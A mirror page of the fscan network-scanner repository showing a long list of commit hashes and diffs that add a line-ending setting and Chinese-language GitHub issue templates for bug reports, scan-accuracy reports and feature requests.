mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
95cc12e753 | ||
|
|
75f4265098 | ||
|
|
5bda99528b | ||
|
|
a1ff55ef55 | ||
|
|
1418f6d8ce | ||
|
|
3ef7a1beee | ||
|
|
621b2c2f24 | ||
|
|
61ae87d171 | ||
|
|
9d0010927e | ||
|
|
bf036fd9b2 | ||
|
|
fdf836f003 | ||
|
|
075bf646dc | ||
|
|
1980504007 | ||
|
|
a3ccc2827b | ||
|
|
ed45d0ead5 | ||
|
|
4922122530 | ||
|
|
4976cb1f6b | ||
|
|
ed2f947722 | ||
|
|
34638954b8 | ||
|
|
65e64e8967 | ||
|
|
1c6f3b80d0 | ||
|
|
9b8e4f3f3b | ||
|
|
0612255893 | ||
|
|
d7dbccab76 | ||
|
|
6eff1d5ccf | ||
|
|
2f7d2d49c6 | ||
|
|
35f3cf1960 | ||
|
|
065ba6fae7 | ||
|
|
6d61b661f4 | ||
|
|
3babff6863 | ||
|
|
d7071b7b8e | ||
|
|
6ae37b8892 | ||
|
|
2b202aa298 | ||
|
|
6d7e6cd394 | ||
|
|
626d8f79bb | ||
|
|
a52e93e84c | ||
|
|
04cae2e42d | ||
|
|
4169eb6ee0 | ||
|
|
63631d6cdf | ||
|
|
4f6bb28138 | ||
|
|
46a6d812a4 | ||
|
|
d4f4e65dec | ||
|
|
a115499793 | ||
|
|
8402be98e3 | ||
|
|
c49c23c7f0 | ||
|
|
5ad914a1bb | ||
|
|
2ab7c4d9b2 | ||
|
|
5c251b123d | ||
|
|
800cc30794 | ||
|
|
8e3cac303d | ||
|
|
4b79cb7a18 | ||
|
|
9d38874a03 | ||
|
|
88c7e4f2be | ||
|
|
e0468ecd35 | ||
|
|
d0295dcb92 | ||
|
|
ade9cd1bff | ||
|
|
6d91b544de | ||
|
|
42092d8664 | ||
|
|
bc46e90d89 | ||
|
|
67f2251da3 | ||
|
|
e6c5e5a9a8 | ||
|
|
0356485595 | ||
|
|
b085df1878 | ||
|
|
8fb66e8e2f | ||
|
|
272b0e28c8 | ||
|
|
28686f845d | ||
|
|
06ba595e32 | ||
|
|
1a7770530d | ||
|
|
2a9a3c36e2 | ||
|
|
70cce742e1 | ||
|
|
02ad8f5334 | ||
|
|
6a1636112f | ||
|
|
45ebe7040e | ||
|
|
15a7670ba2 | ||
|
|
1595c92aed | ||
|
|
517133f72f | ||
|
|
0918eb38a6 | ||
|
|
5b7e72e56e | ||
|
|
52f872b8d1 | ||
|
|
66b175d623 | ||
|
|
6b5bc191ca | ||
|
|
f883944b2b | ||
|
|
683707fcd4 | ||
|
|
b94e8bc4ca | ||
|
|
4198c1abc8 | ||
|
|
68f990d20b | ||
|
|
72042111c6 | ||
|
|
08a87b3128 | ||
|
|
cc1af631f0 | ||
|
|
5078fbc975 | ||
|
|
354ad2e24b | ||
|
|
942f0fa6c3 | ||
|
|
37b77f9c86 | ||
|
|
a02eed0518 | ||
|
|
019d13c9d4 | ||
|
|
c43982f834 | ||
|
|
d6d323854a | ||
|
|
569d21a8bc | ||
|
|
8ec96bfe6d | ||
|
|
8b558b4f12 | ||
|
|
3e4e2db722 | ||
|
|
ac755a9b4a | ||
|
|
ea17b5b1bc | ||
|
|
bfc0e0fb52 | ||
|
|
40b0eee654 | ||
|
|
8d30ee334c | ||
|
|
73cbe803c4 | ||
|
|
9ed6cc95b6 | ||
|
|
a0f0379c6c | ||
|
|
3c7823355d | ||
|
|
1a714f6a0c | ||
|
|
0046817c2e | ||
|
|
e0080555b4 | ||
|
|
bc2a8f653a | ||
|
|
a92df59dfe | ||
|
|
0a28db7371 | ||
|
|
778ba019d5 | ||
|
|
f43e3e3d0a | ||
|
|
a1588a321f | ||
|
|
eb4fa38fea | ||
|
|
c15aa3488b | ||
|
|
218811c38d | ||
|
|
5a884ca6ad | ||
|
|
5942d3bbcb | ||
|
|
c0a9cfd8f5 | ||
|
|
c16aa04e28 | ||
|
|
856eeccd78 | ||
|
|
13f7997d16 | ||
|
|
adb3ac5b74 | ||
|
|
8de7570268 | ||
|
|
3dde0c6a8e | ||
|
|
d4ed0867c9 | ||
|
|
6605c93dd9 | ||
|
|
6bfa05cb45 | ||
|
|
bce0a718ea | ||
|
|
40c3f1423e | ||
|
|
bfd64f78ed | ||
|
|
7063027acf | ||
|
|
639298b7c8 | ||
|
|
f427f04d35 | ||
|
|
05e383d8bf | ||
|
|
a560531e70 | ||
|
|
77827bef66 | ||
|
|
c266912dcb | ||
|
|
2f2b30763c | ||
|
|
72403ebb32 | ||
|
|
4fa8fdc30e | ||
|
|
bf210dd94d | ||
|
|
cb1079598d | ||
|
|
ec10097e76 | ||
|
|
231563e82b | ||
|
|
5af8682d22 | ||
|
|
a42f074b00 | ||
|
|
1ebcd6dc79 | ||
|
|
150e48ba85 | ||
|
|
76a4331fae | ||
|
|
ca4e1ffad3 | ||
|
|
a0fc7881f2 | ||
|
|
bc28df2ed1 | ||
|
|
7459da2b44 | ||
|
|
9d191889d0 | ||
|
|
2e277a51ed | ||
|
|
73b0b0b822 | ||
|
|
d412786228 | ||
|
|
b2e91d9fc0 | ||
|
|
3436d6ad02 | ||
|
|
a0f323a891 | ||
|
|
46e50a021f | ||
|
|
b32ce5dec8 | ||
|
|
2c2ca6ace3 | ||
|
|
db0b53b139 | ||
|
|
4c58843033 | ||
|
|
760c8ea502 | ||
|
|
594f567650 | ||
|
|
6b13b2e84f | ||
|
|
03b21f92f1 | ||
|
|
2674e469b8 | ||
|
|
d4a486763b | ||
|
|
6fe1f11e36 | ||
|
|
6f17deb963 | ||
|
|
820ba6a35b | ||
|
|
5bdfd769f2 | ||
|
|
b6b898532b | ||
|
|
5dd74269a8 | ||
|
|
26d0955ec6 | ||
|
|
a198aeabe5 | ||
|
|
f182732a8b | ||
|
|
b49228a07b | ||
|
|
3af09b7d8a | ||
|
|
379117b07a | ||
|
|
4adb4222dd | ||
|
|
dd8e327a56 | ||
|
|
ad5798d02e | ||
|
|
3c8511e91f | ||
|
|
d5e2c15333 | ||
|
|
9967b34fff | ||
|
|
487681b353 | ||
|
|
b1e67fd7b1 | ||
|
|
ac68df70f7 | ||
|
|
76cbdfb5f6 | ||
|
|
c4378545b9 | ||
|
|
5aa2fd3599 | ||
|
|
faa9f319c8 | ||
|
|
25dc6102ed | ||
|
|
0dc4a6c360 | ||
|
|
2b4a4024b8 | ||
|
|
e58a48ba9b | ||
|
|
a8bd8ca508 | ||
|
|
247459a7f7 | ||
|
|
424c654c43 | ||
|
|
7865038b22 | ||
|
|
64588ab28a | ||
|
|
2d9ea9c1d3 | ||
|
|
a30cd12249 | ||
|
|
c074adb3a9 | ||
|
|
f2475bf97c | ||
|
|
580b067298 | ||
|
|
a010fcbb6c | ||
|
|
1f0d11d93e | ||
|
|
a3c5092f9b | ||
|
|
16e40fe7ed | ||
|
|
f921d81a76 | ||
|
|
a1452eb635 | ||
|
|
e4833fd5af | ||
|
|
9092b09b16 | ||
|
|
d90deb0201 | ||
|
|
d1d242e6a8 | ||
|
|
28a64d60c4 | ||
|
|
124d29a6b3 | ||
|
|
4928b4668a | ||
|
|
5dfd0397d5 | ||
|
|
805af82a1e | ||
|
|
875d128e53 | ||
|
|
36134b7298 | ||
|
|
be3affcedd | ||
|
|
165ac8507d | ||
|
|
0d8f31b72d | ||
|
|
77705118d5 | ||
|
|
7da74ebb52 | ||
|
|
a8b83f90a0 | ||
|
|
a2c56ab106 | ||
|
|
b89e892f14 | ||
|
|
f79b12a23c | ||
|
|
b8cc8ab5dc | ||
|
|
b73996884f | ||
|
|
c58b63a6ac | ||
|
|
e4e3ff1763 | ||
|
|
e962b9171b | ||
|
|
2c4e1d9c28 | ||
|
|
e688b42efe | ||
|
|
1e42d41a1c | ||
|
|
87ceba4d8f | ||
|
|
cb6d67ed7b | ||
|
|
5c8088ff32 | ||
|
|
8170515236 | ||
|
|
f27d9b31aa | ||
|
|
d05641a7fc | ||
|
|
3e04e7801f | ||
|
|
4aaa05f6a4 | ||
|
|
42f8052b96 | ||
|
|
150d62824c | ||
|
|
c3219848ef | ||
|
|
7312da8af8 | ||
|
|
3beb6b42b2 | ||
|
|
18aae783c6 | ||
|
|
8e59c8f09c | ||
|
|
3ae0f306c1 | ||
|
|
cc9d292bdd | ||
|
|
46e0472ec1 | ||
|
|
3dde342d65 | ||
|
|
eb8cda3b7f | ||
|
|
bcb326dbef | ||
|
|
102d100c25 | ||
|
|
b8a591920b | ||
|
|
c94ec76292 | ||
|
|
65b94465fe | ||
|
|
d367be0c68 | ||
|
|
cdbc0e02f3 | ||
|
|
f20aadb745 | ||
|
|
97e9ac7161 | ||
|
|
c6c613a17b | ||
|
|
a245934cf2 | ||
|
|
0235bf5af5 | ||
|
|
e2c8dd8b1f | ||
|
|
e624c3092f | ||
|
|
86b6faec79 | ||
|
|
8f2226987d | ||
|
|
a852bc569f | ||
|
|
2da0804b7f | ||
|
|
235e2aee60 | ||
|
|
af06345aa5 | ||
|
|
75aeee5215 | ||
|
|
a42ee523b0 | ||
|
|
a603e13d3b | ||
|
|
ceede3cd68 | ||
|
|
277ea5d332 | ||
|
|
d13e1952e9 | ||
|
|
df4d39fb1f | ||
|
|
e93b6fc613 | ||
|
|
42482228da | ||
|
|
c004762a8c | ||
|
|
ed69e41001 | ||
|
|
5e06a0b2b7 | ||
|
|
2ce7041c95 | ||
|
|
0954492540 | ||
|
|
ee1d176a8f | ||
|
|
ef70395d7d | ||
|
|
907b92863e | ||
|
|
befaa28bbd | ||
|
|
679c25eb38 | ||
|
|
ad9cafe0ad | ||
|
|
40e8f6621d | ||
|
|
fe1b92cc98 | ||
|
|
0a9c732ee8 | ||
|
|
94121a796f | ||
|
|
fa1d787c84 | ||
|
|
1a5f789ba8 | ||
|
|
57b6d41737 | ||
|
|
1f860f22c8 | ||
|
|
6ba42c8c39 | ||
|
|
016dfa7889 | ||
|
|
1906acf551 | ||
|
|
26525dbb0e | ||
|
|
3529efcb24 | ||
|
|
9e8726e1f8 | ||
|
|
5524300824 | ||
|
|
c62e19ad26 | ||
|
|
7bded7bc31 | ||
|
|
8f5d0caaf2 | ||
|
|
46f9ab84b1 | ||
|
|
04ee3afb07 | ||
|
|
a5738304a1 | ||
|
|
66e52791f7 | ||
|
|
760246b7e0 | ||
|
|
ee8f52c199 | ||
|
|
dfe74fc5b4 | ||
|
|
f06013326f | ||
|
|
4d6b529768 | ||
|
|
bbbc4317df | ||
|
|
1b9c9a00fe | ||
|
|
cfea0afd9c | ||
|
|
70d008ba69 | ||
|
|
eb1b0f32a6 | ||
|
|
e70a1a7bd2 | ||
|
|
8be8f94d82 | ||
|
|
2e3ccee2e0 | ||
|
|
eab41f6018 | ||
|
|
c5dcf2c633 | ||
|
|
d192b7fc2a | ||
|
|
44c1a207dd | ||
|
|
33cb33b1ad | ||
|
|
17c85431ca | ||
|
|
8767c9bae4 | ||
|
|
2bfd58663c | ||
|
|
b7d4e185aa | ||
|
|
497bc2e86b | ||
|
|
9cd137c099 | ||
|
|
1313916081 | ||
|
|
e7d9354284 | ||
|
|
5789017d1a | ||
|
|
878595e341 | ||
|
|
c7b6e21d39 | ||
|
|
e6545417b8 | ||
|
|
3fe6e3eec5 | ||
|
|
5190d63680 | ||
|
|
daec3c1ca4 | ||
|
|
763da727ac | ||
|
|
92217f572f | ||
|
|
bf1b45f407 | ||
|
|
672dfee2ac | ||
|
|
57e0cc06e1 | ||
|
|
375a1e4673 | ||
|
|
8f1c5dbae9 | ||
|
|
92c03e95a9 | ||
|
|
4da94448cb | ||
|
|
2f7d020e9f | ||
|
|
9c0fcd98fe | ||
|
|
1278a0355f | ||
|
|
0152428748 | ||
|
|
bdeabec67e | ||
|
|
c0b7f4ca4f | ||
|
|
ef2c20bf4e | ||
|
|
2481ca4184 | ||
|
|
9ee51a96d8 | ||
|
|
40b6dbcd1c | ||
|
|
59cc462467 | ||
|
|
1bafa4d6f5 | ||
|
|
01ae22119d | ||
|
|
45a861d4f1 | ||
|
|
c3c413ebc0 | ||
|
|
1cfedda2ce | ||
|
|
08ba177f52 | ||
|
|
346ece01f6 | ||
|
|
95d806d4a9 | ||
|
|
f3ba1acd75 | ||
|
|
e34b737b87 | ||
|
|
96798b6fa3 | ||
|
|
8837f61197 | ||
|
|
8984ae52a3 | ||
|
|
d6349a9d88 | ||
|
|
2969cac802 | ||
|
|
de076d1a13 | ||
|
|
75cd097e35 | ||
|
|
1418487735 | ||
|
|
39dabbfb9e | ||
|
|
035bf862a3 | ||
|
|
5c05965967 | ||
|
|
6ee7bab188 | ||
|
|
2c1bdd98ee | ||
|
|
ce211fef78 | ||
|
|
97b205f4a7 | ||
|
|
7dbb6b652f | ||
|
|
a0c648c5a2 | ||
|
|
1deeb8bb71 | ||
|
|
85778a9773 | ||
|
|
c8687827ac | ||
|
|
0cfbf40baf | ||
|
|
b14510fa52 | ||
|
|
b857dd4fa7 | ||
|
|
fc94e4ee0d | ||
|
|
dfc84e9813 | ||
|
|
6a84d0cf8a | ||
|
|
38ea172e26 | ||
|
|
2ce84dc517 | ||
|
|
7f62d4a835 | ||
|
|
9296ad0846 | ||
|
|
6d499dae10 | ||
|
|
4d3ccba255 | ||
|
|
02eb3d6f7a | ||
|
|
6a33a65c94 | ||
|
|
d860eb63b3 | ||
|
|
b1883ca707 | ||
|
|
468447861c | ||
|
|
88d3fe489d | ||
|
|
728f6c78b5 | ||
|
|
0349952dd1 | ||
|
|
352cbd44be | ||
|
|
cd6809e775 | ||
|
|
79343b1722 | ||
|
|
5cc6687248 | ||
|
|
dd8514784e | ||
|
|
6a452d5959 | ||
|
|
35fc0fadc5 | ||
|
|
ec30b0d2a4 | ||
|
|
e39363dce0 | ||
|
|
59e5b88600 | ||
|
|
23fea2c290 | ||
|
|
5ad4c1a580 | ||
|
|
8d5806e456 | ||
|
|
66125a3a2d | ||
|
|
1d0676e508 | ||
|
|
9433741471 | ||
|
|
ec346409f7 | ||
|
|
56c4453c7f | ||
|
|
0eeda0879d | ||
|
|
5d9bcaaadc | ||
|
|
ab14b15864 | ||
|
|
cae98e7d90 | ||
|
|
f35a259f11 | ||
|
|
e15f8e8cc0 | ||
|
|
42908d3319 | ||
|
|
77d59c1e6b | ||
|
|
02dfcebcc5 | ||
|
|
624ab9bab0 | ||
|
|
5ad5af884e | ||
|
|
3dfd2e9e30 | ||
|
|
d01df95dba | ||
|
|
513bb93e1b | ||
|
|
e433c635dd | ||
|
|
509f53f4b3 | ||
|
|
d470a91d55 | ||
|
|
a11b769603 | ||
|
|
1d9b6528dd | ||
|
|
0fd6658bce | ||
|
|
15f3864db2 | ||
|
|
eefd29d102 | ||
|
|
66671cd4cf | ||
|
|
19d969acd2 | ||
|
|
276b446e0c | ||
|
|
15cdc19097 | ||
|
|
197b0884a1 | ||
|
|
0cf8b8c180 | ||
|
|
c5adbdb551 | ||
|
|
5dc1c4ee5e | ||
|
|
1c631133ad | ||
|
|
6bf396d09f | ||
|
|
7f7ae9dc65 | ||
|
|
b46090d196 | ||
|
|
f51291512c | ||
|
|
7eb2bccde7 | ||
|
|
5cc16fe079 | ||
|
|
af1c30a86e | ||
|
|
2ca79f2979 | ||
|
|
490a272e4b | ||
|
|
362d23e577 | ||
|
|
464128cdee | ||
|
|
57eeb41453 | ||
|
|
989389fd52 | ||
|
|
5d154ce6a1 | ||
|
|
59983affb7 | ||
|
|
29acfb166b | ||
|
|
53c1b3232a | ||
|
|
608b2e2c87 | ||
|
|
99d526d7d0 | ||
|
|
5ff8b781c8 | ||
|
|
468381fb18 | ||
|
|
268f7d2aed | ||
|
|
6cd1ee75f5 | ||
|
|
29beca41d0 | ||
|
|
dd1fc49f01 | ||
|
|
acd5a1a8bb | ||
|
|
0d717d6676 | ||
|
|
52c680af0d | ||
|
|
8bcbdf1f38 | ||
|
|
21f9320ba8 | ||
|
|
e2afd85cca | ||
|
|
dc945ccf0e | ||
|
|
54ba490246 | ||
|
|
5e99a7910e | ||
|
|
d5afffafa2 | ||
|
|
0efbd87920 | ||
|
|
88745f55a7 | ||
|
|
9d02632dcc | ||
|
|
dc0dd7a469 | ||
|
|
1773fcbfcc | ||
|
|
22d6e16785 | ||
|
|
afe9a0228f | ||
|
|
019544cd07 | ||
|
|
fddfd08d01 | ||
|
|
8573f8c233 | ||
|
|
9f12983f34 | ||
|
|
eac7f93fcc | ||
|
|
5242388522 | ||
|
|
79fa3a8920 | ||
|
|
2d10162749 | ||
|
|
a2a4afc41d | ||
|
|
96b7a93034 | ||
|
|
1e01f27a99 | ||
|
|
31aba615ba | ||
|
|
18937e1e4a | ||
|
|
4cc65afe14 | ||
|
|
430e4e9640 | ||
|
|
1ce7f4e517 | ||
|
|
8a788427b7 | ||
|
|
29b746ee80 | ||
|
|
04a7ba1357 | ||
|
|
db38dbdcc7 | ||
|
|
f0cb31a6d2 | ||
|
|
d151ea2c7f | ||
|
|
7bf79b60af | ||
|
|
5c119e97ae | ||
|
|
4cfe02ac2c | ||
|
|
e14bc5ca14 | ||
|
|
857c4c0d4b | ||
|
|
58890cd5e6 | ||
|
|
978511a7ef | ||
|
|
c492386977 | ||
|
|
98300cbc9c | ||
|
|
0f01d63d8a | ||
|
|
ecb0cd9e5f | ||
|
|
7d77fa9016 | ||
|
|
b401b896f4 | ||
|
|
eb5558e6d9 | ||
|
|
79d44e00b3 | ||
|
|
ecc362d660 | ||
|
|
ccdaef3486 | ||
|
|
abd2ba0947 | ||
|
|
6c6f522bc9 | ||
|
|
27c7e3977e | ||
|
|
f8b44e37ea | ||
|
|
1d2fa6c470 | ||
|
|
384bb326c0 | ||
|
|
4c254b019a | ||
|
|
6e9b6cf2f6 | ||
|
|
1166e24092 | ||
|
|
a9d05604f5 | ||
|
|
41f8d3abad | ||
|
|
b1f550daaf | ||
|
|
ae86f08432 | ||
|
|
3e8f23466d | ||
|
|
9d4d67e523 | ||
|
|
fc416545a3 | ||
|
|
769fc59fd1 | ||
|
|
38e48ba420 | ||
|
|
076e001217 | ||
|
|
f981cf22e8 | ||
|
|
2e46d1adb6 | ||
|
|
4908720acb | ||
|
|
98569648bb | ||
|
|
9b0f12c31a | ||
|
|
e705b33830 | ||
|
|
3f8fd82674 | ||
|
|
3ba0a2abd3 | ||
|
|
6f9e49a572 | ||
|
|
c717094158 | ||
|
|
023fa19a48 | ||
|
|
ed96a8dd89 | ||
|
|
45008bcbfc | ||
|
|
740ce8552a | ||
|
|
cd423c88d1 | ||
|
|
fe937ec056 | ||
|
|
30df6b651f | ||
|
|
6e5642c508 | ||
|
|
2a6491808d | ||
|
|
0146a941cf | ||
|
|
67f30bf4e3 | ||
|
|
f2239b6c9f | ||
|
|
b9b5eb9ce4 | ||
|
|
4b596180a3 | ||
|
|
8e1db5995e | ||
|
|
b1d85833a7 | ||
|
|
fdffb369c9 | ||
|
|
a2573e10bb | ||
|
|
198abff115 | ||
|
|
cf9389e879 | ||
|
|
85e636fcea | ||
|
|
2cef5c66d6 | ||
|
|
11fb239c61 | ||
|
|
4915539fb3 | ||
|
|
55825f3b7c | ||
|
|
c67d09371f | ||
|
|
9f27655182 | ||
|
|
0b8c0ccc96 | ||
|
|
5bb7502ba3 | ||
|
|
ab60c985a6 | ||
|
|
5c112e0ca8 | ||
|
|
6f15f835f0 | ||
|
|
d774023da7 | ||
|
|
df527adda9 | ||
|
|
2d496cafc9 | ||
|
|
584771114d | ||
|
|
5dcb789e33 | ||
|
|
bb544cfbf3 | ||
|
|
c4950e2a93 | ||
|
|
4c51ae1f2a | ||
|
|
d1ff89676d | ||
|
|
9527fcf0c7 | ||
|
|
a01599ee7c | ||
|
|
c64c64477b | ||
|
|
2ebda8baa9 | ||
|
|
ed99ee0fad | ||
|
|
0b8e1ddaf9 | ||
|
|
ddf824b985 | ||
|
|
8acb02dc30 | ||
|
|
c594f9f350 | ||
|
|
e24168e895 | ||
|
|
3b23c93c35 | ||
|
|
c59a5c3553 | ||
|
|
6db53c8cea | ||
|
|
ebf990eca0 | ||
|
|
9b6596315e | ||
|
|
bdeaae9dcf | ||
|
|
a56144d84a | ||
|
|
49a3b94c53 | ||
|
|
c3fc054912 | ||
|
|
205021afec | ||
|
|
dbb6f43fc1 | ||
|
|
0b22898547 | ||
|
|
6ce60284bc | ||
|
|
60cd94d459 | ||
|
|
b80ea1316f | ||
|
|
d1bcc60bcb | ||
|
|
17544b375b | ||
|
|
edb6920622 | ||
|
|
e1a4bfabfc | ||
|
|
f71b4ab68f | ||
|
|
bd0bcb4b66 | ||
|
|
b93df1ab20 | ||
|
|
dc634f9184 | ||
|
|
e875f4f930 | ||
|
|
6807508b69 | ||
|
|
4a34745091 | ||
|
|
e49e6dd433 | ||
|
|
dd00ec7bac | ||
|
|
b06d7ac94c | ||
|
|
858c28724b | ||
|
|
e56713fdf0 | ||
|
|
c4446ee357 | ||
|
|
10d4b19897 | ||
|
|
21180c3da8 | ||
|
|
30d1e6d9ca | ||
|
|
e9292dc7ad | ||
|
|
70f1c6bd71 | ||
|
|
5f981089a1 | ||
|
|
dc267a5335 | ||
|
|
37f53e3f16 | ||
|
|
734f8520fc | ||
|
|
53df72db02 | ||
|
|
842ee37594 | ||
|
|
b4e33c5127 | ||
|
|
0733c10a05 | ||
|
|
297aba6c4f | ||
|
|
d5665f03d6 | ||
|
|
2e452a9695 | ||
|
|
07633cb24d | ||
|
|
5104cb9980 | ||
|
|
24d8cc775c | ||
|
|
922da8f168 | ||
|
|
65df3de81d | ||
|
|
71ff6e9a0c | ||
|
|
dc949e25b1 | ||
|
|
6a4bbe3781 | ||
|
|
c322700c6d | ||
|
|
f64b185e6d | ||
|
|
71024954e2 | ||
|
|
1499c7253a | ||
|
|
d38e38e17a | ||
|
|
ddb5a9f228 | ||
|
|
ceb585d018 | ||
|
|
3d3ecac605 | ||
|
|
1437ac60ff | ||
|
|
c8ec4eab79 | ||
|
|
80fe8548c1 | ||
|
|
ad1c53e3f4 | ||
|
|
a8835a9fe4 | ||
|
|
db8acb2828 | ||
|
|
288338bc9d | ||
|
|
0743e4cb68 | ||
|
|
6cdf1e19dc | ||
|
|
a427833e3f | ||
|
|
d974523d88 | ||
|
|
c90c9272f0 | ||
|
|
a9e78b6de3 | ||
|
|
ca1e0c791c | ||
|
|
90ef895e0f |
@@ -0,0 +1,2 @@
|
||||
# 统一换行符为 LF
|
||||
* text=auto eol=lf
|
||||
@@ -0,0 +1,124 @@
|
||||
name: 🐛 Bug 报告
|
||||
description: 报告扫描异常、崩溃或错误行为
|
||||
title: "[Bug] "
|
||||
labels: ["bug"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
|
||||
**请勿直接提交未修改的模板**,未填写有效信息的 Issue 会被直接关闭。
|
||||
|
||||
- type: dropdown
|
||||
id: module
|
||||
attributes:
|
||||
label: 问题模块
|
||||
description: 问题出现在哪个功能模块?
|
||||
options:
|
||||
- 端口扫描 (Port Scan)
|
||||
- 主机存活检测 (Host Discovery)
|
||||
- 服务识别 (Service Detection)
|
||||
- 弱口令爆破 (Brute Force)
|
||||
- POC/漏洞扫描 (POC Scan)
|
||||
- Web指纹识别 (Web Fingerprint)
|
||||
- 代理功能 (Proxy)
|
||||
- 输出/日志 (Output/Logging)
|
||||
- 命令行参数 (CLI Arguments)
|
||||
- 嵌入式 SDK (Embedded SDK)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: severity
|
||||
attributes:
|
||||
label: 严重程度
|
||||
options:
|
||||
- 崩溃/Panic (Crash)
|
||||
- 功能异常 (Malfunction)
|
||||
- 结果不准确 (Inaccurate)
|
||||
- 性能问题 (Performance)
|
||||
- 其他 (Other)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: 问题描述
|
||||
description: 清晰描述遇到的问题,包括预期行为和实际行为
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: reproduce
|
||||
attributes:
|
||||
label: 复现步骤
|
||||
description: 提供可以复现问题的完整命令(请脱敏 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: output
|
||||
attributes:
|
||||
label: 错误输出
|
||||
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
|
||||
render: shell
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0
|
||||
- 2.2.0-rc
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: os
|
||||
attributes:
|
||||
label: 操作系统
|
||||
options:
|
||||
- Windows 11
|
||||
- Windows 10
|
||||
- Windows Server 2022
|
||||
- Windows Server 2019
|
||||
- Ubuntu 24.04
|
||||
- Ubuntu 22.04
|
||||
- CentOS 7/8/Stream
|
||||
- Debian 11/12
|
||||
- Kali Linux
|
||||
- macOS 15 (Sequoia)
|
||||
- macOS 14 (Sonoma)
|
||||
- 其他 Linux
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: arch
|
||||
attributes:
|
||||
label: 系统架构
|
||||
options:
|
||||
- amd64 (x86_64)
|
||||
- arm64 (aarch64)
|
||||
- 386 (x86)
|
||||
- arm
|
||||
- mips/mipsle
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: 补充信息
|
||||
description: 其他有助于排查的信息(网络环境、是否使用代理、自编译请注明 Go 版本等)
|
||||
@@ -0,0 +1,10 @@
|
||||
# Issue 模板配置
|
||||
blank_issues_enabled: false
|
||||
|
||||
contact_links:
|
||||
- name: 📖 使用文档 / README
|
||||
url: https://github.com/shadow1ng/fscan/blob/main/README.md
|
||||
about: 提交 Issue 前请先查阅文档,确认不是用法问题
|
||||
- name: 💬 讨论区 / Discussions
|
||||
url: https://github.com/shadow1ng/fscan/discussions
|
||||
about: 使用疑问、经验分享、一般性讨论请使用 Discussions
|
||||
@@ -0,0 +1,112 @@
|
||||
name: 🎯 误报/漏报
|
||||
description: 报告扫描结果不准确的问题
|
||||
title: "[Accuracy] "
|
||||
labels: ["accuracy"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您帮助提高 fscan 的准确性!
|
||||
**请提供对比验证结果**(如 nmap、手动连接等),仅描述"感觉不对"的报告无法处理。
|
||||
|
||||
- type: dropdown
|
||||
id: type
|
||||
attributes:
|
||||
label: 问题类型
|
||||
options:
|
||||
- 误报 (False Positive) - 报告了不存在的问题
|
||||
- 漏报 (False Negative) - 未能检测到存在的问题
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: category
|
||||
attributes:
|
||||
label: 涉及功能
|
||||
options:
|
||||
- 主机存活检测
|
||||
- 端口状态判断
|
||||
- 服务识别
|
||||
- 弱口令检测
|
||||
- POC/漏洞检测
|
||||
- Web指纹识别
|
||||
- 其他
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: command
|
||||
attributes:
|
||||
label: 使用的命令
|
||||
description: 执行的 fscan 命令(请脱敏真实 IP/密码)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: fscan-output
|
||||
attributes:
|
||||
label: fscan 输出结果
|
||||
description: 粘贴相关的扫描输出(请脱敏敏感信息)
|
||||
render: shell
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: actual
|
||||
attributes:
|
||||
label: 实际情况及验证方式
|
||||
description: 描述目标的真实状态,以及你通过什么方式验证的(nmap、手动连接、其他工具等)
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: target-os
|
||||
attributes:
|
||||
label: 目标操作系统
|
||||
options:
|
||||
- Windows Server
|
||||
- Windows Desktop
|
||||
- Ubuntu/Debian
|
||||
- CentOS/RHEL
|
||||
- 其他 Linux
|
||||
- 网络设备
|
||||
- 容器/Docker
|
||||
- 未知
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: network
|
||||
attributes:
|
||||
label: 网络环境
|
||||
options:
|
||||
- 直连(同网段)
|
||||
- 跨网段/路由
|
||||
- 通过代理 (SOCKS5/HTTP)
|
||||
- VPN
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: version
|
||||
attributes:
|
||||
label: fscan 版本
|
||||
options:
|
||||
- 2.2.0
|
||||
- 2.2.0-rc
|
||||
- 2.1.3
|
||||
- 2.1.2
|
||||
- 2.1.0
|
||||
- 2.0.x
|
||||
- 1.8.x
|
||||
- 其他/自编译
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: suggestion
|
||||
attributes:
|
||||
label: 改进建议(可选)
|
||||
description: 如果您有改进判断逻辑的想法
|
||||
@@ -0,0 +1,68 @@
|
||||
name: ✨ 功能请求
|
||||
description: 提议新功能或改进现有功能
|
||||
title: "[Feature] "
|
||||
labels: ["enhancement"]
|
||||
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
感谢您的功能建议!请描述清楚使用场景和期望行为。
|
||||
纯 "+1" 类请求请用 Reaction 表达,不要开新 Issue。
|
||||
|
||||
